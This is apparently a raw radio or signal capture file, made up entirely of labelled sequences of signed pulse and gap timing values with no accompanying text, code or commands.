-64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 59 -148 170 -157 53 -68 63 -108 85 -203 51 -417 65 -162 71 -58 61 -126 146 -310 107 -213 53 -127 65 -107 53 -351 160 -308 122 -144 178 -526 142 -158 95 -52 61 -78 77 -328 99 -84 53 -82 59 -148 77 -301 73 -98 168 -277 117 -134 245 -161 71 -134 53 -362 53 -152 115 -162 53 -54 53 -182 53 -570 61 -209 79 -386 51 -120 67 -210 127 -52 67 -430 123 -276 71 -419 107 -244 89 -185 160 -118 67 -308 83 -94 67 -60 59 -861 63 -224 53 -90 53 -409 119 -535 71 -691 176 -160 184 -151 89 -146 89 -154 51 -134 61 -237 71 -218 79 -1059 59 -129 53 -108 104 -72 71 -94 1462 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 125 -66 61 -128 127 -64 63 -126 63 -62 63 -64 61 -64 63 -62 63 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 129 -56 69 -126 127 -128 127 -128 55 -62 131 -64 63 -64 61 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 127 -128 63 -62 127 -64 61 -128 127 -128 127 -56 69 -62 61 -128 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 63 -64 125 -64 61 -128 63 -62 127 -64 63 -62 63 -126 129 -64 61 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -126 129 -64 61 -126 65 -62 61 -64 127 -64 373 -98 115 -101 57 -73 107 -257 106 -394 92 -68 111 -150 65 -348 153 -1462 57 -103 145 -223 79 -74 61 -259 51 -520 67 -341 65 -252 95 -475 139 -412 83 -378 79 -256 88 -98 79 -98 51 -265 59 -182 69 -64 55 -76 127 -239 53 -684 99 -124 51 -472 135 -98 110 -54 51 -60 59 -66 59 -128 63 -148 67 -60 53 -118 62 -595 69 -379 133 -205 77 -66 83 -143 84 -52 -RAW_Data: 53 -355 85 -224 69 -132 97 -383 105 -94 89 -172 51 -253 61 -92 51 -351 406 -165 59 -58 156 -250 71 -238 77 -278 141 -164 79 -84 97 -80 63 -80 53 -64 136 -106 203 -88 140 -76 202 -390 97 -119 119 -68 432 -82 79 -102 79 -100 96 -64 214 -312 204 -930 85 -158 139 -112 223 -484 90 -250 53 -72 53 -52 69 -54 131 -54 71 -222 63 -101 195 -301 78 -222 271 -60 137 -467 63 -108 51 -192 51 -110 111 -244 53 -431 61 -138 61 -58 132 -257 53 -180 59 -306 63 -320 105 -359 193 -374 63 -262 289 -122 107 -136 177 -54 61 -552 123 -116 65 -76 69 -181 61 -200 107 -140 86 -260 100 -486 114 -639 65 -347 63 -166 51 -80 193 -54 138 -140 59 -186 63 -277 71 -268 109 -255 162 -90 67 -198 53 -154 75 -165 96 -54 51 -88 95 -999 53 -72 77 -261 87 -86 53 -150 51 -82 81 -349 87 -156 331 -113 51 -167 97 -202 63 -1427 265 -959 53 -259 153 -205 133 -558 117 -253 63 -144 83 -76 124 -62 98 -138 81 -86 89 -204 85 -512 126 -348 51 -103 75 -189 105 -72 53 -116 61 -160 81 -142 112 -300 75 -369 91 -95 61 -309 107 -70 140 -436 86 -866 169 -84 59 -173 111 -60 91 -166 105 -200 53 -758 59 -197 79 -384 65 -146 63 -560 135 -548 97 -302 99 -713 65 -334 127 -60 51 -541 63 -196 81 -241 63 -112 279 -280 53 -382 71 -62 53 -78 53 -551 141 -543 63 -384 124 -508 137 -106 197 -98 77 -209 103 -309 101 -420 73 -149 65 -268 59 -84 81 -76 63 -453 53 -465 121 -609 91 -168 59 -213 88 -116 71 -54 53 -285 53 -644 53 -134 113 -896 67 -60 115 -377 90 -279 94 -68 170 -236 67 -60 146 -74 167 -179 95 -738 63 -124 94 -162 59 -169 124 -156 81 -321 53 -399 51 -124 105 -70 106 -80 81 -230 51 -196 196 -270 59 -209 63 -288 69 -331 87 -115 162 -260 105 -455 111 -100 206 -82 57 -162 71 -80 51 -212 51 -60 311 -70 65 -108 85 -104 63 -72 61 -54 137 -103 59 -60 209 -175 256 -131 123 -88 77 -220 192 -68 310 -133 162 -170 59 -81 129 -80 306 -60 133 -89 61 -113 119 -54 284 -108 61 -54 81 -92 53 -72 51 -116 212 -52 189 -97 118 -83 83 -74 53 -181 132 -215 152 -316 53 -90 75 -52 118 -92 158 -318 115 -288 108 -109 132 -72 310 -106 59 -112 170 -90 473 -72 102 -54 220 -68 308 -122 89 -108 332 -68 575 -113 118 -160 109 -92 164 -54 -RAW_Data: 247 -95 59 -64 57 -74 67 -216 99 -238 71 -125 189 -149 515 -100 57 -145 53 -52 127 -151 102 -133 256 -137 293 -217 179 -54 79 -72 155 -70 107 -54 186 -481 63 -54 53 -88 97 -114 65 -201 105 -121 220 -148 69 -72 174 -141 95 -54 53 -165 76 -365 85 -178 77 -200 55 -231 77 -72 147 -64 61 -54 53 -219 195 -115 67 -88 81 -112 75 -155 115 -295 116 -108 95 -161 80 -134 202 -52 78 -268 65 -126 57 -101 67 -268 105 -214 108 -586 59 -1128 92 -64 110 -66 53 -127 51 -513 55 -84 65 -83 57 -671 53 -82 105 -52 75 -381 51 -178 55 -246 135 -66 88 -297 61 -223 110 -76 103 -152 71 -130 59 -143 55 -102 104 -52 105 -194 73 -68 75 -204 105 -189 78 -585 124 -130 89 -219 51 -405 59 -302 59 -580 107 -72 150 -441 83 -68 71 -472 81 -68 85 -130 51 -193 97 -347 125 -148 69 -529 166 -62 67 -161 59 -128 63 -134 53 -117 53 -108 106 -463 83 -221 77 -125 65 -54 57 -236 65 -210 67 -120 114 -54 75 -260 59 -162 97 -146 61 -64 70 -118 61 -469 59 -290 143 -351 51 -144 61 -114 61 -68 133 -174 84 -54 125 -72 124 -138 69 -222 96 -335 162 -251 61 -88 67 -162 71 -132 88 -123 51 -319 109 -333 69 -136 63 -130 95 -269 85 -545 53 -122 81 -704 55 -290 128 -508 145 -358 97 -64 55 -243 157 -1161 111 -191 61 -176 113 -440 88 -229 942 -56 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 106 -294 92 -78 87 -52 53 -156 51 -285 53 -216 160 -378 110 -711 59 -92 133 -134 135 -314 57 -452 123 -714 63 -102 51 -177 53 -255 53 -126 71 -718 108 -82 57 -672 79 -383 51 -416 51 -260 53 -72 61 -287 53 -383 88 -70 104 -203 65 -76 133 -646 65 -54 97 -512 135 -889 71 -366 113 -72 77 -257 118 -378 79 -118 51 -399 126 -66 157 -66 74 -632 71 -107 53 -133 1499 -56 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 127 -66 61 -128 127 -64 61 -126 65 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -118 135 -56 69 -126 127 -128 127 -126 55 -70 125 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 125 -130 63 -62 61 -64 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -64 127 -128 63 -62 125 -66 61 -128 127 -128 127 -56 69 -62 61 -128 63 -64 61 -64 127 -64 63 -62 63 -128 127 -128 63 -62 125 -64 63 -128 63 -62 127 -64 61 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -128 127 -64 63 -126 127 -64 63 -62 61 -128 127 -130 127 -54 257 -291 96 -327 82 -167 71 -132 68 -164 53 -295 104 -260 57 -460 51 -493 63 -294 61 -102 115 -150 71 -765 117 -126 116 -243 53 -453 63 -333 167 -480 51 -186 106 -855 55 -204 87 -54 142 -508 59 -202 91 -311 127 -204 69 -414 89 -162 99 -54 59 -148 203 -281 53 -193 51 -171 71 -316 149 -335 83 -96 59 -172 59 -214 109 -92 53 -56 79 -173 59 -84 130 -94 51 -377 95 -104 53 -198 83 -319 69 -214 71 -223 55 -222 113 -72 87 -166 76 -72 53 -140 79 -571 53 -1017 100 -54 61 -106 170 -130 80 -405 57 -237 123 -128 75 -54 146 -389 55 -231 144 -54 75 -324 53 -133 87 -108 78 -124 55 -336 -RAW_Data: 109 -451 77 -131 195 -409 81 -133 82 -415 61 -72 93 -246 75 -167 183 -128 75 -1218 53 -386 134 -295 105 -390 68 -243 78 -108 51 -60 63 -302 61 -156 59 -821 140 -68 59 -364 59 -106 105 -150 81 -130 71 -189 121 -433 131 -281 142 -577 77 -126 79 -169 67 -353 63 -580 51 -136 53 -106 137 -257 59 -318 67 -134 111 -358 59 -400 119 -506 53 -459 135 -346 51 -148 67 -344 93 -350 53 -300 169 -70 92 -388 59 -186 73 -72 67 -248 51 -229 71 -198 95 -126 106 -212 71 -269 100 -64 97 -277 285 -179 159 -643 224 -192 63 -284 135 -200 149 -335 130 -178 67 -185 79 -132 69 -105 133 -138 123 -62 107 -284 95 -254 170 -192 59 -89 71 -126 161 -54 270 -74 133 -70 338 -224 389 -123 133 -52 53 -58 89 -88 71 -70 51 -66 97 -323 387 -150 195 -83 150 -107 79 -82 115 -162 426 -150 183 -185 200 -173 109 -131 79 -68 139 -146 160 -351 57 -181 63 -117 224 -178 242 -154 79 -54 75 -106 59 -60 59 -70 148 -309 169 -104 168 -121 85 -202 107 -60 79 -122 67 -64 177 -62 261 -150 100 -199 202 -326 65 -189 89 -96 118 -115 99 -112 51 -65 85 -188 57 -173 65 -116 107 -399 61 -181 176 -196 110 -311 159 -231 132 -154 105 -252 77 -536 112 -127 173 -251 91 -283 147 -226 77 -114 188 -54 89 -54 161 -104 69 -191 101 -52 55 -249 180 -240 53 -400 84 -231 140 -296 127 -180 75 -72 139 -282 87 -184 77 -176 65 -262 134 -214 57 -151 96 -244 77 -154 96 -62 83 -270 59 -607 69 -148 59 -470 200 -88 97 -820 103 -342 110 -211 63 -151 95 -100 138 -146 63 -56 71 -194 53 -822 128 -338 59 -221 115 -353 51 -160 61 -182 113 -192 53 -205 83 -110 53 -472 51 -95 101 -234 59 -275 84 -134 89 -172 67 -506 65 -132 125 -58 59 -86 89 -428 79 -88 77 -292 97 -352 77 -80 146 -269 83 -78 77 -56 107 -362 173 -297 85 -112 88 -210 115 -126 63 -62 69 -68 61 -292 103 -122 53 -86 55 -128 128 -106 132 -563 79 -164 83 -274 87 -178 69 -143 53 -54 67 -376 180 -949 89 -96 105 -234 71 -62 61 -320 76 -125 53 -715 89 -467 83 -80 118 -72 53 -64 73 -169 61 -117 81 -150 61 -162 116 -300 231 -160 59 -58 59 -201 53 -110 77 -451 135 -54 59 -358 55 -288 124 -369 143 -82 53 -294 101 -274 125 -395 65 -481 67 -90 101 -62 53 -106 251 -426 77 -85 168 -193 85 -96 103 -214 -RAW_Data: 83 -78 59 -214 73 -124 120 -386 95 -178 77 -92 104 -577 55 -419 160 -80 151 -114 81 -169 104 -398 59 -466 103 -253 61 -184 168 -136 59 -197 113 -296 118 -1065 105 -142 59 -290 95 -566 73 -95 132 -496 81 -383 96 -151 173 -142 240 -160 88 -318 196 -96 53 -222 71 -231 110 -128 53 -60 63 -722 113 -216 71 -781 61 -233 53 -54 148 -459 53 -260 94 -418 53 -247 71 -691 59 -459 71 -225 219 -52 73 -179 51 -157 67 -709 85 -195 95 -153 71 -255 57 -220 190 -197 118 -54 135 -646 71 -105 92 -452 69 -320 111 -190 53 -132 53 -54 155 -96 88 -329 71 -498 65 -182 81 -85 172 -116 67 -879 57 -199 67 -661 106 -170 97 -545 63 -52 63 -340 73 -696 98 -261 95 -546 51 -248 53 -676 129 -371 63 -287 65 -154 81 -176 93 -683 59 -102 86 -462 71 -211 51 -286 115 -64 133 -651 75 -101 132 -88 857 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 191 -58 117 -128 160 -217 93 -62 101 -87 165 -137 81 -96 61 -90 97 -110 63 -197 107 -195 115 -543 61 -355 77 -587 53 -258 108 -56 53 -322 89 -60 93 -332 85 -311 85 -58 97 -131 73 -102 59 -217 87 -104 214 -121 53 -52 67 -216 51 -272 53 -295 292 -355 85 -90 78 -356 69 -76 193 -125 61 -189 65 -328 111 -496 159 -838 150 -72 89 -162 110 -60 57 -416 67 -350 76 -432 59 -130 71 -399 118 -94 89 -90 69 -173 53 -90 95 -88 89 -113 63 -535 71 -197 131 -144 71 -212 87 -135 57 -241 91 -108 65 -253 53 -106 89 -130 117 -697 71 -481 223 -64 128 -176 67 -691 63 -217 101 -232 67 -154 89 -234 121 -188 125 -72 125 -474 223 -439 104 -238 91 -579 77 -225 160 -348 75 -60 79 -199 53 -1249 79 -276 61 -185 123 -320 53 -80 63 -72 123 -267 53 -153 59 -170 114 -274 65 -833 103 -233 88 -1229 59 -134 51 -896 81 -193 92 -322 53 -120 55 -370 129 -89 87 -138 89 -291 89 -554 154 -253 148 -68 71 -191 59 -223 101 -379 65 -66 101 -367 51 -198 67 -205 73 -295 116 -98 95 -194 53 -366 118 -649 145 -394 69 -684 105 -130 73 -76 159 -84 59 -128 79 -96 53 -561 67 -357 98 -462 61 -195 227 -126 69 -145 53 -256 72 -790 113 -532 141 -110 85 -103 67 -70 67 -125 1195 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -126 129 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 61 -64 127 -128 63 -64 -RAW_Data: 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 63 -64 63 -62 127 -130 127 -126 57 -70 61 -62 127 -128 127 -128 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 55 -70 61 -62 127 -64 63 -128 127 -128 127 -126 55 -64 67 -64 61 -64 63 -64 127 -128 63 -64 125 -64 63 -126 63 -64 125 -64 63 -62 63 -128 63 -64 125 -128 307 -173 51 -78 79 -234 65 -609 59 -426 51 -318 97 -106 124 -265 113 -76 63 -269 125 -215 89 -52 51 -704 74 -220 107 -487 53 -354 51 -308 73 -254 153 -86 91 -52 53 -368 59 -307 70 -179 112 -325 73 -52 97 -96 97 -52 63 -60 53 -108 55 -108 178 -134 75 -80 75 -52 97 -64 79 -234 53 -259 81 -1019 256 -136 61 -157 130 -64 123 -58 73 -188 123 -260 53 -462 123 -151 59 -60 124 -140 157 -146 83 -340 71 -182 69 -110 57 -54 69 -114 73 -60 73 -205 159 -94 164 -97 96 -234 96 -107 51 -345 83 -88 103 -732 71 -392 57 -54 98 -276 61 -62 77 -410 61 -202 71 -490 83 -367 53 -256 84 -54 149 -126 53 -172 59 -88 64 -316 88 -162 61 -156 51 -331 59 -296 81 -108 113 -166 53 -90 153 -871 77 -797 79 -120 126 -52 149 -108 53 -228 81 -112 83 -110 59 -130 53 -146 67 -481 176 -276 173 -716 53 -97 143 -210 59 -88 229 -306 61 -410 51 -163 128 -220 172 -120 81 -328 136 -465 57 -94 71 -251 53 -594 177 -874 83 -232 74 -247 95 -406 71 -450 125 -187 75 -165 59 -206 89 -257 51 -82 63 -142 75 -619 53 -143 53 -226 61 -98 70 -233 81 -118 81 -354 61 -82 225 -230 65 -60 135 -107 106 -256 87 -186 61 -184 103 -96 67 -84 99 -162 89 -134 109 -62 63 -90 61 -83 61 -86 53 -118 134 -68 91 -106 132 -68 57 -537 61 -156 97 -93 338 -164 113 -78 146 -58 179 -230 124 -159 173 -315 142 -62 181 -311 123 -150 124 -351 99 -90 143 -205 65 -136 53 -156 71 -242 77 -101 77 -162 149 -140 59 -238 137 -68 89 -60 119 -407 139 -488 114 -68 115 -106 95 -178 53 -114 67 -296 67 -264 90 -192 148 -104 82 -108 59 -495 69 -145 109 -385 68 -162 53 -155 117 -126 67 -138 75 -72 53 -259 51 -533 53 -338 55 -175 89 -84 51 -99 129 -229 94 -146 75 -141 53 -159 71 -134 81 -706 65 -114 64 -594 244 -60 137 -551 71 -62 114 -816 105 -228 -RAW_Data: 57 -234 182 -263 79 -122 59 -268 106 -384 121 -70 106 -147 98 -217 83 -255 85 -550 158 -459 89 -311 155 -218 61 -193 154 -150 57 -158 73 -80 113 -551 89 -221 53 -607 71 -676 53 -230 51 -689 174 -747 111 -342 51 -537 59 -241 63 -80 71 -178 150 -163 86 -76 117 -475 67 -80 53 -454 71 -569 80 -245 117 -52 53 -205 59 -106 59 -455 83 -289 71 -178 75 -259 91 -466 59 -289 71 -106 133 -72 59 -237 57 -251 119 -213 53 -258 150 -144 65 -501 71 -204 106 -54 107 -222 145 -478 79 -551 63 -359 63 -134 204 -238 61 -123 79 -272 104 -539 53 -146 53 -173 155 -272 53 -241 88 -136 114 -549 171 -124 61 -186 119 -92 162 -280 63 -485 51 -352 65 -174 97 -201 100 -1106 97 -140 98 -184 62 -190 53 -472 121 -590 55 -402 69 -84 203 -351 61 -161 285 -90 105 -62 307 -178 78 -58 71 -232 282 -126 77 -108 104 -68 219 -113 73 -147 279 -52 57 -217 51 -175 177 -162 57 -88 53 -429 114 -202 189 -100 65 -121 53 -90 159 -92 134 -402 153 -52 165 -68 72 -171 61 -76 75 -98 73 -148 124 -136 148 -116 91 -52 107 -124 246 -192 59 -216 127 -106 51 -60 97 -241 65 -126 77 -174 100 -68 104 -600 53 -196 65 -137 73 -362 196 -130 245 -180 59 -189 95 -197 101 -264 134 -130 147 -126 92 -114 85 -308 65 -95 81 -190 51 -229 106 -82 85 -186 123 -72 125 -167 71 -297 94 -472 89 -108 53 -216 71 -249 51 -240 88 -54 98 -265 61 -258 105 -183 53 -100 106 -162 79 -132 53 -301 133 -465 89 -156 105 -99 89 -106 83 -349 143 -216 67 -376 83 -421 73 -336 129 -372 191 -174 139 -130 102 -259 71 -209 91 -311 113 -98 67 -676 96 -1165 75 -367 74 -340 114 -124 51 -320 112 -64 71 -106 78 -242 51 -98 63 -144 59 -80 75 -557 80 -80 53 -276 70 -200 75 -300 141 -338 73 -260 123 -263 61 -68 166 -178 124 -266 53 -357 121 -197 53 -193 134 -425 181 -72 61 -646 88 -192 88 -163 51 -155 87 -780 121 -78 89 -529 105 -118 171 -185 148 -314 192 -76 51 -52 103 -474 59 -455 78 -455 57 -54 81 -393 51 -99 167 -244 97 -221 53 -113 77 -177 88 -402 159 -329 137 -142 91 -217 77 -226 53 -151 63 -158 53 -54 71 -134 67 -136 115 -225 75 -134 114 -163 153 -237 125 -74 83 -126 63 -173 97 -64 95 -368 53 -80 176 -658 53 -493 107 -151 51 -90 95 -140 69 -210 65 -96 107 -277 -RAW_Data: 78 -117 81 -56 87 -84 71 -209 97 -135 69 -166 57 -312 51 -176 107 -173 81 -177 75 -349 91 -266 81 -80 107 -104 53 -54 114 -72 63 -144 150 -240 107 -148 51 -313 61 -205 91 -154 97 -58 105 -82 81 -387 125 -396 90 -996 53 -196 67 -102 61 -143 109 -114 71 -277 51 -102 59 -60 83 -429 89 -102 75 -76 59 -86 59 -522 138 -62 63 -263 63 -277 89 -556 59 -52 59 -266 71 -108 61 -83 164 -136 142 -132 122 -292 53 -64 126 -228 61 -313 81 -924 81 -668 71 -116 98 -157 71 -54 97 -72 125 -613 59 -128 1073 -56 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 127 -128 125 -128 127 -56 69 -124 129 -128 125 -128 55 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 127 -128 63 -64 61 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 125 -66 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 127 -128 53 -70 63 -62 127 -128 127 -128 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 63 -62 61 -62 127 -64 63 -128 127 -128 127 -126 55 -64 67 -64 61 -64 63 -64 127 -128 63 -64 125 -64 63 -126 127 -128 127 -56 69 -126 127 -64 63 -126 473 -300 75 -659 79 -234 77 -106 133 -743 106 -280 117 -157 156 -233 59 -386 81 -388 89 -351 117 -308 89 -1023 109 -84 53 -146 63 -144 80 -365 61 -118 97 -60 51 -341 115 -70 116 -484 53 -397 59 -316 177 -596 85 -382 59 -141 118 -736 69 -186 59 -331 67 -327 59 -211 141 -80 51 -305 78 -310 85 -56 91 -122 141 -324 51 -1080 117 -98 55 -198 53 -554 81 -459 51 -143 67 -212 79 -399 89 -195 81 -250 71 -379 94 -631 170 -321 51 -290 51 -284 -RAW_Data: 53 -215 51 -52 69 -255 94 -883 53 -90 53 -200 153 -541 77 -399 51 -529 116 -214 57 -261 61 -146 59 -278 139 -52 106 -97 71 -134 61 -312 51 -163 59 -54 61 -612 161 -128 97 -82 81 -96 80 -545 63 -64 59 -600 88 -94 61 -422 123 -752 199 -98 88 -134 53 -126 154 -308 53 -487 77 -349 147 -115 59 -276 51 -223 53 -107 55 -287 53 -159 85 -124 75 -160 67 -118 59 -611 99 -428 157 -170 88 -410 123 -422 113 -274 51 -83 69 -245 59 -253 51 -94 59 -60 65 -80 51 -143 97 -242 71 -143 89 -144 69 -72 67 -255 67 -60 96 -254 51 -106 105 -118 69 -164 53 -219 89 -54 113 -52 77 -150 144 -865 53 -590 129 -184 115 -263 51 -140 57 -313 142 -62 59 -193 83 -54 91 -388 57 -223 77 -54 116 -96 149 -171 51 -364 61 -108 69 -134 161 -195 67 -154 129 -112 63 -135 51 -84 53 -102 59 -126 93 -107 53 -139 61 -157 87 -88 150 -220 129 -233 191 -162 132 -256 109 -74 95 -68 159 -278 103 -68 97 -341 93 -339 63 -76 81 -88 99 -72 79 -263 91 -103 85 -556 92 -52 51 -168 167 -160 53 -241 168 -279 87 -176 201 -98 79 -320 53 -128 51 -236 206 -167 113 -86 145 -149 128 -54 182 -150 243 -76 57 -101 179 -115 471 -52 418 -52 51 -62 187 -75 59 -54 51 -64 75 -82 259 -133 262 -72 349 -126 248 -162 149 -70 53 -68 115 -99 67 -196 141 -110 96 -309 195 -60 57 -441 139 -233 71 -453 79 -70 97 -362 59 -193 57 -130 90 -66 67 -303 55 -229 65 -451 95 -106 88 -214 87 -269 112 -190 69 -151 103 -615 131 -54 53 -418 99 -614 61 -64 63 -254 63 -312 179 -214 151 -225 97 -62 53 -104 75 -109 171 -399 75 -154 205 -92 69 -572 154 -72 75 -134 124 -230 57 -469 67 -88 53 -179 53 -70 59 -239 83 -302 53 -54 89 -409 65 -181 96 -373 73 -435 97 -1168 57 -724 212 -120 53 -191 65 -276 75 -179 51 -331 71 -582 137 -120 65 -104 59 -274 141 -150 53 -661 51 -186 53 -320 79 -90 250 -87 152 -292 55 -261 116 -894 59 -425 53 -199 80 -527 67 -120 157 -441 87 -726 51 -179 71 -205 51 -557 51 -395 63 -384 114 -267 59 -211 61 -184 67 -54 104 -78 61 -324 51 -163 185 -128 69 -193 67 -222 253 -613 89 -547 107 -286 81 -82 77 -117 82 -593 51 -108 57 -54 81 -614 79 -242 93 -497 115 -72 51 -96 102 -112 155 -58 78 -398 143 -72 57 -58 -RAW_Data: 67 -369 84 -98 116 -90 53 -629 161 -832 68 -125 53 -54 53 -122 51 -410 53 -120 75 -68 51 -139 149 -126 51 -139 257 -634 79 -113 214 -305 88 -310 71 -64 104 -115 75 -164 87 -121 97 -140 61 -207 150 -106 51 -233 61 -257 133 -247 51 -284 51 -545 63 -156 79 -220 51 -648 51 -338 172 -117 89 -82 53 -80 71 -178 97 -62 71 -54 151 -302 81 -58 57 -68 119 -150 136 -72 53 -180 168 -244 67 -81 96 -90 89 -254 59 -242 87 -200 91 -454 115 -106 152 -197 71 -70 83 -54 111 -166 65 -114 81 -217 61 -72 124 -224 93 -675 79 -92 59 -133 97 -146 215 -171 63 -200 91 -78 225 -72 85 -78 65 -54 67 -279 85 -1060 75 -74 53 -152 59 